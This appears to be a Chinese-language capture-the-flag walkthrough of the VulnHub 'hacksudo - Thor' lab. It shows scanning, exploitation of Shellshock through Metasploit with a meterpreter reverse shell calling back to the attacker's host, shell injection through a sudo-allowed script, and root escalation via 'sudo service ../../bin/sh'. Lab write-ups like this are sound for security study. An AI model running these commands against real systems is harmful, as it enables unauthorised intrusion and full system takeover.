vulhub系列-33-hacksudo - Thor(超详细)

免责声明本文记录的是 hacksudo - Thor 渗透测试靶机 的解题过程所有操作均在 本地授权环境 中进行。内容仅供 网络安全学习与防护研究 使用请勿用于任何非法用途。读者应遵守《网络安全法》及相关法律法规自觉维护网络空间安全。两个flaguser.txtroot.txt环境 https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip一、信息收集1、探测目标IP地址arp-scan -l #探测当前网段的所有ip地址┌──(root㉿kali)-[~] └─# arp-scan -l #探测当前网段的所有ip地址dirsearch -u http://192.168.5.11 Interface: eth0, type: EN10MB, MAC: 08:00:27:63:b0:05, IPv4: 192.168.5.6 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.5.1 0a:00:27:00:00:04 (Unknown: locally administered) 192.168.5.2 08:00:27:94:63:44 PCS Systemtechnik GmbH 192.168.5.9 08:00:27:84:ac:db PCS Systemtechnik GmbH ​ 4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.180 seconds (117.43 hosts/sec). 3 respondednmap -sP 192.168.5.0/24┌──(root㉿kali)-[~] └─# nmap -sP 192.168.5.0/24 Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-24 11:49 -0400 Nmap scan report for 192.168.5.1 Host is up (0.00015s latency). MAC Address: 0A:00:27:00:00:04 (Unknown) Nmap scan report for 192.168.5.2 Host is up (0.00019s latency). MAC Address: 08:00:27:94:63:44 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.5.9 Host is up (0.00023s latency). MAC Address: 08:00:27:84:AC:DB (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.5.6 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 3.86 seconds目标IP192.168.5.92、探测目标IP开放端口nmap -A -T4 -p 1-65535 192.168.5.9┌──(root㉿kali)-[~] └─# nmap -A -T4 -p 1-65535 192.168.5.9 Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-24 11:50 -0400 Nmap scan report for 192.168.5.9 Host is up (0.00022s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp filtered ftp 22/tcp open ssh OpenSSH 7.9p1 Debian 10deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 37:36:60:3e:26:ae:23:3f:e1:8b:5d:18:e7:a7:c7:ce (RSA) | 256 34:9a:57:60:7d:66:70:d5:b5:ff:47:96:e0:36:23:75 (ECDSA) |_ 256 ae:7d:ee:fe:1d:bc:99:4d:54:45:3d:61:16:f8:6c:87 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesnt have a title (text/html; charsetUTF-8). |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:84:AC:DB (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.22 ms 192.168.5.9 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.42 seconds端口21、22、803、目录探测dirsearch -u http://192.168.5.9┌──(root㉿kali)-[~] └─# dirsearch -u http://192.168.5.9 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /root/reports/http_192.168.5.9/_26-03-24_11-50-33.txt Target: http://192.168.5.9/ [11:50:33] Starting: [11:50:34] 403 - 276B - /.ht_wsr.txt [11:50:34] 403 - 276B - /.htaccess.bak1 [11:50:34] 403 - 276B - /.htaccess.orig [11:50:34] 403 - 276B - /.htaccess.sample [11:50:34] 403 - 276B - /.htaccess.save [11:50:34] 403 - 276B - /.htaccess_extra [11:50:34] 403 - 276B - /.htaccess_orig [11:50:34] 403 - 276B - /.htaccessBAK [11:50:34] 403 - 276B - /.htaccess_sc [11:50:34] 403 - 276B - /.htaccessOLD2 [11:50:34] 403 - 276B - /.htaccessOLD [11:50:34] 403 - 276B - /.htm [11:50:34] 403 - 276B - /.html [11:50:34] 403 - 276B - /.htpasswd_test [11:50:34] 403 - 276B - /.httr-oauth [11:50:34] 403 - 276B - /.htpasswds [11:50:34] 403 - 276B - /.php [11:50:38] 302 - 7KB - /admin_home.php - home.php [11:50:39] 200 - 489B - /admin_login.php [11:50:43] 403 - 276B - /cgi-bin/ [11:50:45] 200 - 1KB - /contact.php [11:50:48] 301 - 310B - /fonts - http://192.168.5.9/fonts/ [11:50:49] 200 - 278B - /header.php [11:50:49] 200 - 2KB - /home.php [11:50:50] 301 - 311B - /images - http://192.168.5.9/images/ [11:50:50] 200 - 665B - /images/ [11:50:55] 200 - 3KB - /news.php [11:51:00] 200 - 4KB - /README.md [11:51:01] 403 - 276B - /server-status [11:51:01] 403 - 276B - /server-status/ Task Completed二、漏洞利用1、信息搜集http://192.168.5.9/news.php查看其源码发现!-- cgi-bin ---!这暗示此apache服务器可能遭受shellshock漏洞。它需要在机器上存在一个shell 脚本我们可以使用dirb进行测试一下文件名。dirb http://192.168.5.9/cgi-bin -X .sh┌──(root㉿kali)-[~] └─# dirb http://192.168.5.9/cgi-bin -X .sh ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Tue Mar 24 11:54:19 2026 URL_BASE: http://192.168.5.9/cgi-bin/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt EXTENSIONS_LIST: (.sh) | (.sh) [NUM 1] ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.5.9/cgi-bin/ ---- http://192.168.5.9/cgi-bin/shell.sh (CODE:500|SIZE:609) ----------------- END_TIME: Tue Mar 24 11:54:21 2026 DOWNLOADED: 4612 - FOUND: 1成功测试出文件名为shell.sh不过需要注意的一点是这里为啥不用常用的gobuster 是因为gobuster 工具默认情况下不会捕获状态代码 500所以它不会检测到这个文件因为默认情况下它会给出 500在kali本地上搜索一下Shellshock 漏洞看一下是否有相关脚本可以利用可以利用searchsploit Shellshock┌──(root㉿kali)-[~] └─# searchsploit Shellshock ----------------------------------------------------------- --------------------------------- Exploit Title | Path ----------------------------------------------------------- --------------------------------- Advantech Switch - Shellshock Bash Environment Variable | cgi/remote/38849.rb Apache mod_cgi - Shellshock Remote Command Injection | linux/remote/34900.py Bash - Shellshock Environment Variables Command Injectio | linux/remote/34766.php Bash CGI - Shellshock Remote Command Injection (Metasplo | cgi/webapps/34895.rb Cisco UCS Manager 2.1(1b) - Remote Command Injection (Shel | hardware/remote/39568.py dhclient 4.1 - Bash Environment Variable Command Injection | linux/remote/36933.py GNU Bash - Shellshock Environment Variable Command Injec | linux/remote/34765.txt IPFire - Shellshock Bash Environment Variable Command In | cgi/remote/39918.rb NUUO NVRmini 2 3.0.8 - Remote Command Injection (Shellshoc | cgi/webapps/40213.txt OpenVPN 2.2.29 - Shellshock Remote Command Injection | linux/remote/34879.txt PHP 5.6.2 - Shellshock Safe Mode / disable_functions B | php/webapps/35146.txt Postfix SMTP 4.2.x 4.2.48 - Shellshock Remote Command | linux/remote/34896.py RedStar 3.0 Server - Shellshock BEAM / RSSMON Comman | linux/local/40938.py Sun Secure Global Desktop and Oracle Global Desktop 4.61.9 | cgi/webapps/39887.txt TrendMicro InterScan Web Security Virtual Appliance - She | hardware/remote/40619.py ----------------------------------------------------------- --------------------------------- Shellcodes: No Results有很多可以利用啊拿第二个去看看内容searchsploit -m linux/remote/34900.py┌──(root㉿kali)-[~] └─# searchsploit -m linux/remote/34900.py Exploit: Apache mod_cgi - Shellshock Remote Command Injection URL: https://www.exploit-db.com/exploits/34900 Path: /usr/share/exploitdb/exploits/linux/remote/34900.py Codes: CVE-2014-6278, CVE-2014-6271 Verified: True File Type: Python script, ASCII text executable Copied to: /root/34900.py本地运行出错这里咱们干脆去Metasploit利用吧2、Shellshock漏洞利用# 启动 Metasploit 框架控制台 msfconsole # 搜索与 Shellshock 漏洞相关的模块 search shellshock # 加载利用 Apache CGI 中 Bash 环境变量注入漏洞的模块 use exploit/multi/http/apache_mod_cgi_bash_env_exec # 显示当前模块需要配置的参数 show options # 设置 payload set payload linux/x86/meterpreter/reverse_tcp # 设置目标主机的 IP 地址被攻击方 set RHOST 192.168.5.9 # 设置端口 set RPORT 80 # 设置本地主机 IP 地址攻击方用于接收反弹 shell set LHOST 192.168.5.6 # 设置监听端口 set LPORT 2233 # 设置目标服务器上存在漏洞的 CGI 脚本路径 set TARGETURI /cgi-bin/shell.sh # 再次查看配置确认参数已正确设置 show options # 执行漏洞利用 run # 若成功获取会话输入此命令进入目标系统的命令行 shell shell┌──(root㉿kali)-[~] └─# msfconsole Metasploit tip: Bind your reverse shell to a tunnel with set ReverseListenerBindAddress tunnel_address and set ReverseListenerBindPort tunnel_port (e.g., ngrok) *Neutrino_Cannon*PrettyBeefy*PostalTime*binbash*deadastronauts*EvilBunnyWrote*L1T*Mail.ru*() { :;}; echo vulnerable* *Team sorceror*ADACTF*BisonSquad*socialdistancing*LeukeTeamNaam*OWASP Moncton*Alegori*exit*Vampire Bunnies*APT593* *QuePasaZombiesAndFriends*NetSecBG*coincoin*ShroomZ*Slow Coders*Scavenger Security*Bruh*NoTeamName*Terminal Cult* *edspiner*BFG*MagentaHats*0x01DA*Kaczuszki*AlphaPwners*FILAHA*Raffaela*HackSurYvette*outout*HackSouth*Corax*yeeb0iz* *SKUA*Cyber COBRA*flaghunters*0xCD*AI Generated*CSEC*p3nnm3d*IFS*CTF_Circle*InnotecLabs*baadf00d*BitSwitchers*0xnoobs* *ItPwns - Intergalactic Team of PWNers*PCCsquared*fr334aks*runCMD*0x194*Kapital Krakens*ReadyPlayer1337*Team 443* *H4CKSN0W*InfOUsec*CTF Community*DCZia*NiceWay*0xBlueSky*ME3*TipiHack*Porg Pwn Platoon*Hackerty*hackstreetboys* *ideaengine007*eggcellent*H4x*cw167*localhorst*Original Cyan Lonkero*Sad_Pandas*FalseFlag*OurHeartBleedsOrange*SBWASP* *Cult of the Dead Turkey*doesthismatter*crayontheft*Cyber Mausoleum*scripterz*VetSec*norbot*Delta Squad Zero*Mukesh* *x00-x00*BlackCat*ARESx*cxp*vaporsec*purplehax*RedTeamMTU*UsalamaTeam*vitamink*RISC*forkbomb444*hownowbrowncow* *etherknot*cheesebaguette*downgrade*FR!3ND5*badfirmware*Cut3Dr4g0n*dc615*nora*Polaris One*team*hail hydra*Takoyaki* *Sudo Society*incognito-flash*TheScientists*Tea Party*Reapers of Pwnage*OldBoys*M0ul3Fr1t1B13r3*bearswithsaws*DC540* *iMosuke*Infosec_zitro*CrackTheFlag*TheConquerors*Asur*4fun*Rogue-CTF*Cyber*TMHC*The_Pirhacks*btwIuseArch*MadDawgs* *HInc*The Pighty Mangolins*CCSF_RamSec*x4n0n*x0rc3r3rs*emehacr*Ph4n70m_R34p3r*humziq*Preeminence*UMGC*ByteBrigade* *TeamFastMark*Towson-Cyberkatz*meow*xrzhev*PA Hackers*Kuolema*Nakateam*L0g!c B0mb*NOVA-InfoSec*teamstyle*Panic* *B0NG0R3* *Les Cadets Rouges*buf* *Les Tontons Fl4gueurs* *404 : Flag Not Found* * UNION SELECT password* _________ __ *OCD247*Sparkle Pony* *burner_herz0g* \_ ___ \_____ _______/ |_ __ _________ ____ *Kill$hot*ConEmu* *here_there_be_trolls* / \ \/\__ \ \____ \ __\ | \_ __ \_/ __ \ *;echohacked* *r4t5_*6rung4nd4*NYUSEC* \ \____/ __ \| |_ | | | /| | \/\ ___/ *karamel4e* *IkastenIO*TWC*balkansec* \______ (____ / __/|__| |____/ |__| \___ *cybersecurity.li* *TofuEelRoll*Trash Pandas* \/ \/|__| \/ *OneManArmy*cyb3r_w1z4rd5* *Astra*Got Schwartz?*tmux* ___________.__ *AreYouStuck*Mr.Robot.0* *\nls*Juicy white peach* \__ ___/| |__ ____ *EPITA Rennes* *HackerKnights* | | | | \_/ __ \ *guildOfGengar*Titans* *Pentest Rangers* | | | Y \ ___/ *The Libbyrators* *placeholder name*bitup* |____| |___| /\___ *JeffTadashi*Mikeal* *UCASers*onotch* \/ \/ *ky_dong_day_song* *NeNiNuMmOk* ___________.__ *JustForFun!* *Maux de tête*LalaNG* \_ _____/| | _____ ____ *g3tsh3Lls0on* *crr0tz*z3r0p0rn*clueless* | __) | | \__ \ / ___\ *Phở Đặc Biệt*Paradox* *HackWara* | \ | |__/ __ \_/ /_/ *KaRIPux*inf0sec* *Kugelschreibertester* \___ / |____(____ /\___ / *bluehens*Antoine77* *icemasters* \/ \//_____/ *genxy*TRADE_NAMES* *Spartans Ravens* _______________ _______________ *BadByte*fontwang_tw* *g0ldd1gg3rs*pappo* \_____ \ _ \ \_____ \ _ \ *ghoti* *Les CRACKS*c0dingRabbits* / ____/ /_\ \ / ____/ /_\ \ *LinuxRiders* *2Cr4Sh*RecycleBin* / \ \_/ \/ \ \_/ \ *Jalan Durian* *ExploitStudio* \_______ \_____ /\_______ \_____ / *WPICSC*logaritm* *Car RamRod*0x41414141* \/ \/ \/ \/ *Orv1ll3*team-fm4dd* *Björkson*FlyingCircus* *PwnHub*H4X0R*Yanee* *Securifera*hot cocoa* *Et3rnal*PelarianCP* *n00bytes*DNCG*guildzero*dorko*tv*42*{EHF}*CarpeDien*Flamin-Go*BarryWhite*XUcyber*FernetInjection*DCcurity* *Mars Explorer*ozen_cfw*Fat Boys*Simpatico*nzdjb*Isec-U.O*The Pomorians*T35H*Hwk33*JetJ*OrangeStar*Team Corgi* *D0g3*0itch*OffRes*LegionOfRinf*UniWA*wgucoo*Pr0ph3t*L0ner*_n00bz*OSINT Punchers*Tinfoil Hats*Hava*Team Neu* *Cyb3rDoctor*Techlock Inc*kinakomochi*DubbelDopper*bubbasnmp*w*Gh0st$*tyl3rsec*LUCKY_CLOVERS*ev4d3rx10-team*ir4n6* *PEQUI_ctf*HKLBGD*L3o*5 bits short of a byte*UCM*ByteForc3*Death_Geass*Stryk3r*WooT*Raise The Black*CTErr0r* *Individual*mikejam*Flag Predator*klandes*_no_Skids*SQ.*CyberOWL*Ironhearts*Kizzle*gauti* *San Antonio College Cyber Rangers*sam.ninja*Akerbeltz*cheeseroyale*Ephyra*sard city*OrderingChaos*Pickle_Ricks* *Hex2Text*defiant*hefter*Flaggermeister*Oxford Brookes University*OD1E*noob_noob*Ferris Wheel*Ficus*ONO*jameless* *Log1c_b0mb*dr4k0t4*0th3rs*dcua*cccchhhh6819*Manzaras Magpies*pwn4lyfe*Droogy*Shrubhound Gang*ssociety*HackJWU* *asdfghjkl*n00bi3*i-cube warriors*WhateverThrone*Salvat0re*Chadsec*0x1337deadbeef*StarchThingIDK*Tieto_alaviiva_turva* *InspiV*RPCA Cyber Club*kurage0verfl0w*lammm*pelicans_for_freedom*switchteam*tim*departedcomputerchairs*cool_runnings* *chads*SecureShell*EetIetsHekken*CyberSquad*PK*Trident*RedSeer*SOMA*EVM*BUckys_Angels*OrangeJuice*DemDirtyUserz* *OpenToAll*Born2Hack*Bigglesworth*NIS*10Monkeys1Keyboard*TNGCrew*Cla55N0tF0und*exploits33kr*root_rulzz*InfosecIITG* *superusers*HrdT0R3m3b3r*operators*NULL*stuxCTF*mHackresciallo*Eclipse*Gingabeast*Hamad*Immortals*arasan*MouseTrap* *damn_sadboi*tadaaa*null2root*HowestCSP*fezfezf*LordVader*Flg_Hunt3rs*bluenet*PGe2mE* [ metasploit v6.4.103-dev ] -- --[ 2,584 exploits - 1,319 auxiliary - 1,694 payloads ] -- --[ 433 post - 49 encoders - 14 nops - 9 evasion ] Metasploit Documentation: https://docs.metasploit.com/ The Metasploit Framework is a Rapid7 Open Source Project msf search shellshock Matching Modules # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/linux/http/advantech_switch_bash_env_exec 2015-12-01 excellent Yes Advantech Switch Bash Environment Variable Code Injection (Shellshock) 1 exploit/multi/http/apache_mod_cgi_bash_env_exec 2014-09-24 excellent Yes Apache mod_cgi Bash Environment Variable Code Injection (Shellshock) 2 \_ target: Linux x86 . . . . 3 \_ target: Linux x86_64 . . . . 4 auxiliary/scanner/http/apache_mod_cgi_bash_env 2014-09-24 normal Yes Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner 5 exploit/multi/http/cups_bash_env_exec 2014-09-24 excellent Yes CUPS Filter Bash Environment Variable Code Injection (Shellshock) 6 auxiliary/server/dhclient_bash_env 2014-09-24 normal No DHCP Client Bash Environment Variable Code Injection (Shellshock) 7 exploit/unix/dhcp/bash_environment 2014-09-24 excellent No Dhclient Bash Environment Variable Injection (Shellshock) 8 exploit/linux/http/ipfire_bashbug_exec 2014-09-29 excellent Yes IPFire Bash Environment Variable Injection (Shellshock) 9 exploit/multi/misc/legend_bot_exec 2015-04-27 excellent Yes Legend Perl IRC Bot Remote Code Execution 10 exploit/osx/local/vmware_bash_function_root 2014-09-24 normal Yes OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock) 11 exploit/multi/ftp/pureftpd_bash_env_exec 2014-09-24 excellent Yes Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock) 12 \_ target: Linux x86 . . . . 13 \_ target: Linux x86_64 . . . . 14 exploit/unix/smtp/qmail_bash_env_exec 2014-09-24 normal No Qmail SMTP Bash Environment Variable Injection (Shellshock) 15 exploit/multi/misc/xdh_x_exec 2015-12-04 excellent Yes Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution Interact with a module by name or index. For example info 15, use 15 or use exploit/multi/misc/xdh_x_exec msf msf use exploit/multi/http/apache_mod_cgi_bash_env_exec [*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp msf exploit(multi/http/apache_mod_cgi_bash_env_exec) msf exploit(multi/http/apache_mod_cgi_bash_env_exec) show options Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec): Name Current Setting Required Description ---- --------------- -------- ----------- CMD_MAX_LENGTH 2048 yes CMD max line length CVE CVE-2014-6271 yes CVE to check/exploit (Accepted: CVE-2014-6271 , CVE-2014-6278) HEADER User-Agent yes HTTP header to use METHOD GET yes HTTP method to use Proxies no A proxy chain of format type:host:port[,type: host:port][...]. Supported proxies: sapni, so cks4, socks5, socks5h, http RHOSTS yes The target host(s), see https://docs.metasplo it.com/docs/using-metasploit/basics/using-met asploit.html RPATH /bin yes Target PATH for binaries used by the CmdStage r RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI yes Path to CGI script TIMEOUT 5 yes HTTP read response timeout (seconds) URIPATH no The URI to use for this exploit (default is r andom) VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. Th is must be an address on the local machine or 0.0.0. 0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. Payload options (linux/x86/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.0.3.15 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Linux x86 View the full module info with the info, or info -d command. msf exploit(multi/http/apache_mod_cgi_bash_env_exec) msf exploit(multi/http/apache_mod_cgi_bash_env_exec) set payload linux/x86/meterpreter/reverse_tcp payload linux/x86/meterpreter/reverse_tcp msf exploit(multi/http/apache_mod_cgi_bash_env_exec) msf exploit(multi/http/apache_mod_cgi_bash_env_exec) set RHOST 192.168.5.9 RHOST 192.168.5.9 msf exploit(multi/http/apache_mod_cgi_bash_env_exec) msf exploit(multi/http/apache_mod_cgi_bash_env_exec) set RPORT 80 RPORT 80 msf exploit(multi/http/apache_mod_cgi_bash_env_exec) msf exploit(multi/http/apache_mod_cgi_bash_env_exec) set LHOST 192.168.5.6 LHOST 192.168.5.6 msf exploit(multi/http/apache_mod_cgi_bash_env_exec) msf exploit(multi/http/apache_mod_cgi_bash_env_exec) set LPORT 2233 LPORT 2233 msf exploit(multi/http/apache_mod_cgi_bash_env_exec) msf exploit(multi/http/apache_mod_cgi_bash_env_exec) set TARGETURI /cgi-bin/shell.sh TARGETURI /cgi-bin/shell.sh msf exploit(multi/http/apache_mod_cgi_bash_env_exec) msf exploit(multi/http/apache_mod_cgi_bash_env_exec) show options Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec): Name Current Setting Required Description ---- --------------- -------- ----------- CMD_MAX_LENGTH 2048 yes CMD max line length CVE CVE-2014-6271 yes CVE to check/exploit (Accepted: CVE-2014-62 71, CVE-2014-6278) HEADER User-Agent yes HTTP header to use METHOD GET yes HTTP method to use Proxies no A proxy chain of format type:host:port[,typ e:host:port][...]. Supported proxies: sapni , socks4, socks5, socks5h, http RHOSTS 192.168.5.9 yes The target host(s), see https://docs.metasp loit.com/docs/using-metasploit/basics/using -metasploit.html RPATH /bin yes Target PATH for binaries used by the CmdSta ger RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default i s randomly generated) TARGETURI /cgi-bin/shell.sh yes Path to CGI script TIMEOUT 5 yes HTTP read response timeout (seconds) URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. Th is must be an address on the local machine or 0.0.0. 0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. Payload options (linux/x86/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.5.6 yes The listen address (an interface may be specified) LPORT 2233 yes The listen port Exploit target: Id Name -- ---- 0 Linux x86 View the full module info with the info, or info -d command. msf exploit(multi/http/apache_mod_cgi_bash_env_exec) msf exploit(multi/http/apache_mod_cgi_bash_env_exec) run [*] Started reverse TCP handler on 192.168.5.6:2233 [*] Command Stager progress - 100.00% done (1092/1092 bytes) [*] Sending stage (1062760 bytes) to 192.168.5.9 [*] Meterpreter session 1 opened (192.168.5.6:2233 - 192.168.5.9:32912) at 2026-03-24 12:04:53 -0400 meterpreter shell Process 882 created. Channel 1 created. id uid33(www-data) gid33(www-data) groups33(www-data)3、升级shellpython -c import pty;pty.spawn(/bin/bash);python -c import pty;pty.spawn(/bin/bash); bash-4.3$4、查看当前账户是否存在可以使用的特权命令bash-4.3$ sudo -l sudo -l Matching Defaults entries for www-data on HackSudoThor: env_reset, mail_badpass, secure_path/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on HackSudoThor: (thor) NOPASSWD: /home/thor/./hammer.sh bash-4.3$我们可以看到用户可以以另一个用户thor的身份执行脚本此外脚本会受到代码执行的影响尝试执行该脚本看看是否有有价值的信息sudo -u thor /home/thor/./hammer.shbash-4.3$ sudo -u thor /home/thor/./hammer.sh sudo -u thor /home/thor/./hammer.sh HELLO want to talk to Thor? Enter Thor Secret Key : Hey Dear ! I am , Please enter your Secret massage : Thank you for your precious time! bash-4.3$ bash-4.3$这意味着我们可以通过使用bash作为输入来获得用户thor的shell访问权限。bash-4.3$ sudo -u thor /home/thor/./hammer.sh sudo -u thor /home/thor/./hammer.sh HELLO want to talk to Thor? Enter Thor Secret Key : Hey Dear ! I am , Please enter your Secret massage : bash bash id id uid1001(thor) gid1001(thor) groups1001(thor)成功拿到thor的权限升级一下shellSHELL/bin/bash script -q /dev/nullSHELL/bin/bash script -q /dev/null SHELL/bin/bash script -q /dev/null thorHacksudoThor:/usr/lib/cgi-bin$进入用户目录下查看相关文件内容首先咱们拿到了user.txtthorHacksudoThor:/usr/lib/cgi-bin$ cd cd thorHacksudoThor:~$ ls ls file file.sh hack.tar hammer.sh id_rsa ll tar user.txt thorHacksudoThor:~$ thorHacksudoThor:~$ cat user.txt cat user.txt user owned thorHacksudoThor:~$ thorHacksudoThor:~$再查看一下另外两个shell脚本cat file.sh cat hammer.shthorHacksudoThor:~$ cat file.sh cat file.sh chmod us /home/thor/bash thorHacksudoThor:~$ thorHacksudoThor:~$ cat hammer.sh cat hammer.sh #!/bin/bash echo echo HELLO want to talk to Thor? echo read -p Enter Thor Secret Key : key read -p Hey Dear ! I am $key , Please enter your Secret massage : msg $msg 2/dev/null echo Thank you for your precious time! thorHacksudoThor:~$5、查看当前账户是否存在可以使用的特权命令、thorHacksudoThor:~$ sudo -l sudo -l Matching Defaults entries for thor on HackSudoThor: env_reset, mail_badpass, secure_path/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User thor may run the following commands on HackSudoThor: (root) NOPASSWD: /usr/bin/cat, /usr/sbin/service thorHacksudoThor:~$发现可以无密码以root权限运行/usr/bin/cat和/usr/sbin/service6、提权方式1cat提权貌似不适用这个环境7、提权方式2service提权sudo service ../../bin/sh id whoami cd /root # 查看flag cat root.txt cat proof.txtthorHacksudoThor:~$ sudo service ../../bin/sh sudo service ../../bin/sh # id id uid0(root) gid0(root) groups0(root) # ​ # whoami whoami root # ​ # cd /root cd /root # ​ # ls ls proof.txt root.txt # ​ # cat root.txt cat root.txt rooted # ​ # cat proof.txt cat proof.txt rooted ████████ ▒▒▒▒▒▒██▒▒▒▒ ▓▓░░▒▒▓▓ ░░▒▒██ ██░░▒▒▓▓▒▒▓▓ ░░▒▒██ ██░░▒▒▓▓▒▒▒▒▒▒▓▓ ░░▒▒██ ██░░▒▒▓▓▒▒▒▒░░░░▒▒▓▓ ░░▒▒▓▓ ██████ ▓▓░░▒▒▓▓▒▒▒▒░░░░░░░░▒▒▓▓ ░░▒▒▓▓ ▓▓░░▓▓▓▓▓▓ ▓▓▒▒▓▓▒▒▒▒▒▒░░░░░░░░░░░░▓▓ ░░▒▒▓▓░░░░░░▓▓██ ▓▓▓▓▓▓▒▒░░ ▒▒░░░░░░ ░░▒▒▓▓ ░░▒▒▓▓░░▒▒▒▒██ ▓▓▓▓▓▓▓▓▒▒░░ ▒▒░░░░░░ ░░▒▒▒▒ ░░▒▒▓▓▒▒▓▓░░ ██▓▓▓▓▓▓▒▒▒▒ ▒▒░░░░░░ ░░▒▒▒▒ ░░▒▒▓▓ ██▓▓▓▓▓▓▒▒▒▒ ▒▒░░░░░░ ░░▒▒▒▒ ░░▒▒██ ██▓▓▓▓▓▓▒▒▒▒ ▒▒░░░░░░ ░░▒▒▓▓ ░░▒▒██ ▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░░░▒▒▓▓ ░░▒▒██ ▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░░░▒▒▓▓ ░░▒▒██ ▓▓▓▓▓▓▓▓▒▒▒▒ ▒▒░░░░░░ ░░▒▒▓▓ ░░▒▒██ ▓▓▓▓▓▓▓▓▒▒▒▒ ▒▒░░░░░░ ░░▒▒▓▓ ░░▒▒██ ▓▓░░▓▓▓▓▓▓▓▓▒▒▒▒ ▒▒░░░░░░░░░░▒▒▓▓ ▓▓▓▓██ ▓▓░░░░░░▓▓▓▓▓▓▓▓▒▒░░ ▒▒░░░░░░ ▒▒▒▒▓▓ ████ ▓▓░░░░░░▒▒▒▒▓▓▓▓▓▓▓▓▒▒░░ ▒▒░░ ▒▒▒▒▓▓▓▓▓▓░░██ ██░░░░░░▒▒▒▒██ ██▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓██░░▒▒██ ██ ░░░░▒▒▒▒██ ██▓▓▓▓▓▓▒▒░░ ▒▒▓▓▓▓██░░▒▒██ ░░ ░░ ██░░░░░░▒▒▒▒██ ██▓▓▓▓▓▓▒▒▒▒▓▓▓▓██░░▒▒██ ░░ ░░ ░░ ██ ░░░░▒▒▒▒▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░▒▒██ ░░ ░░ ██ ░░░░▒▒▒▒▓▓ ░░▓▓▓▓▓▓▓▓▓▓░░▒▒██ ░░ ██ ░░░░▒▒▒▒▓▓ ░░▓▓▓▓▓▓░░▒▒██ ██ ░░░░▒▒▒▒██ ░░██▓▓██▓▓ ▓▓ ░░░░▒▒▒▒██ ██ ░░░░▒▒▒▒██ ▓▓ ░░░░▒▒▒▒██ ▓▓ ░░░░▒▒▒▒██ ░░▓▓░░░░░░▒▒▒▒██ ░░▓▓░░░░░░▒▒▒▒▓▓ ░░▒▒░░░░░░▒▒▒▒▓▓ ▒▒░░░░░░▒▒▒▒▓▓ ██░░░░░░▒▒▒▒▓▓ ██ ░░░░▒▒▒▒▓▓ ██ ░░░░▒▒▒▒▓▓ ██ ░░░░▒▒▒▒▓▓ ▓▓ ░░░░▒▒▒▒▓▓ ██ ░░░░▒▒▒▒▒▒ ▓▓░░░░░░▒▒▒▒██ ████▓▓▓▓░░▒▒▒▒██ ██▒▒ ▒▒▓▓▓▓▒▒██ ▓▓▒▒ ▒▒▒▒▓▓██ ▓▓▒▒▒▒▒▒▓▓██ ██▓▓▓▓▓▓▓▓██ ░░▓▓▓▓▓▓▓▓░░ ​ # ​本文涉及的技术方法仅适用于 授权测试环境 或 合法 CTF 